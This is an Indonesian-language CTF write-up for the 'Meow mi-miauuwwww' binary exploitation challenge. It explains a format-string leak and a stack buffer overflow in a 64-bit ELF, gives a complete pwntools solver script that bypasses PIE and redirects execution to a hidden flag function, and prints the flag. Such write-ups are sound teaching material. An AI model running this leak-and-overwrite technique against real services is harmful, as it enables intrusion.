Binary Exploitation

Meow mi-miauuwwww

ARACTF7

Write-Up: Meow mi-miauuwwww

Kategori: Binary Exploitation Author: Lyler Poin: 100 Solves: 83 Solves

Deskripsi

Meow meow. me.. meow meowww. mi.. miauw mi mi, miauw miauwww. NYAAAAA!!!! nyanya. pur

Koneksi: nc chall-ctf.ara-its.id 54317 Attachment: meow


Analisis & Reconnaissance

File attachment yang diberikan adalah executable ELF 64-bit. Langkah pertama yang dilakukan adalah memberikan permission execute pada file tersebut menggunakan perintah chmod.

Setelah melakukan dekompilasi menggunakan Ghidra, diketahui bahwa fungsi main akan memanggil fungsi mi_miauw.

Terdapat dua celah keamanan utama pada fungsi mi_miauw: 1. Format String Vulnerability: Terdapat perintah printf(local_48) yang tidak menggunakan format specifier. Celah ini dapat dimanfaatkan untuk melakukan print pada address memory (membocorkan memori). 2. Buffer Overflow: Terdapat perintah fgets(local_48, 0x100, stdin). Variabel local_48 hanya dialokasikan sebesar 64 bytes, namun program mengizinkan input hingga melebihi batas tersebut (0x100).

Selain itu, ditemukan sebuah fungsi bernama meow yang bertugas untuk membaca dan mencetak isi dari file flag.txt. Namun, fungsi ini sama sekali tidak dipanggil dalam alur normal program.


Langkah Eksploitasi

Berdasarkan temuan di atas, eksploitasi dapat dilakukan dengan langkah-langkah berikut:

  1. Mendapatkan Leak Alamat: Gunakan opsi 1 pada program untuk membocorkan alamat dari stack. Berdasarkan hasil analisis objdump, return address kembali ke fungsi main terletak pada posisi ke-17 di stack, sehingga kita dapat menggunakan payload %17$p.
  2. Kalkulasi Base Address: Kurangi alamat yang berhasil dibocorkan dengan offset 0x1417. Offset ini merupakan posisi instruksi setelah pemanggilan mi_miauw di dalam fungsi main.
  3. Kalkulasi Alamat Target: Hitung alamat absolut untuk fungsi meow dengan cara menambahkan base address dengan offset 0x1249.
  4. Menyusun Payload (Buffer Overflow):
    • Padding: Kirimkan 64 byte karakter sembarang untuk mengisi buffer, ditambah 8 byte untuk menimpa RBP. Total padding adalah 72 byte.
    • Ret Gadget: Tambahkan instruksi ret pada offset 0x101a untuk menyelaraskan stack (stack alignment).
    • Target Address: Akhiri payload dengan menimpa Return Instruction Pointer (RIP) menggunakan alamat fungsi meow yang telah dikalkulasi.

Solver Script

Berikut adalah script eksploitasi menggunakan Python (pwntools):

from pwn import *

# Connection details
host = 'chall-ctf.ara-its.id'
port = 54317
context.arch = 'amd64'
io = remote(host, port)

# STEP 1: LEAK THE BINARY ADDRESS
io.sendlineafter(b"meow meow meow ^^: ", b"1")
# %17$p points to the return address (0x1417 offset from base)
io.sendlineafter(b"intip: )", b"%17$p")
io.recvuntil(b"Meow, ")
leaked_addr = int(io.recvline().strip(), 16)
log.info(f"Leaked Return Address: {hex(leaked_addr)}")

# STEP 2: CALCULATE BASE AND TARGETS
# 0x1417 is the instruction in main after calling mi_miauw
binary_base = leaked_addr - 0x1417
meow_addr = binary_base + 0x1249
ret_gadget = binary_base + 0x101a

log.info(f"Binary Base: {hex(binary_base)}")
log.info(f"Target meow: {hex(meow_addr)}")

# STEP 3: THE BUFFER OVERFLOW
io.sendlineafter(b"meow meow meow ^^: ", b"2")

# Payload structure:
# [64 bytes buffer] + [8 bytes saved RBP] + [ret gadget] + [meow function]
payload = b"A" * 72
payload += p64(ret_gadget) # Alignment fix
payload += p64(meow_addr)

io.sendlineafter(b"RUAAAAA!!!!)", payload)

# Interaction to read the flag
io.interactive()

Flag

ARA7{ada_seorang_pria_lokal_menikahi_pohon_saw17}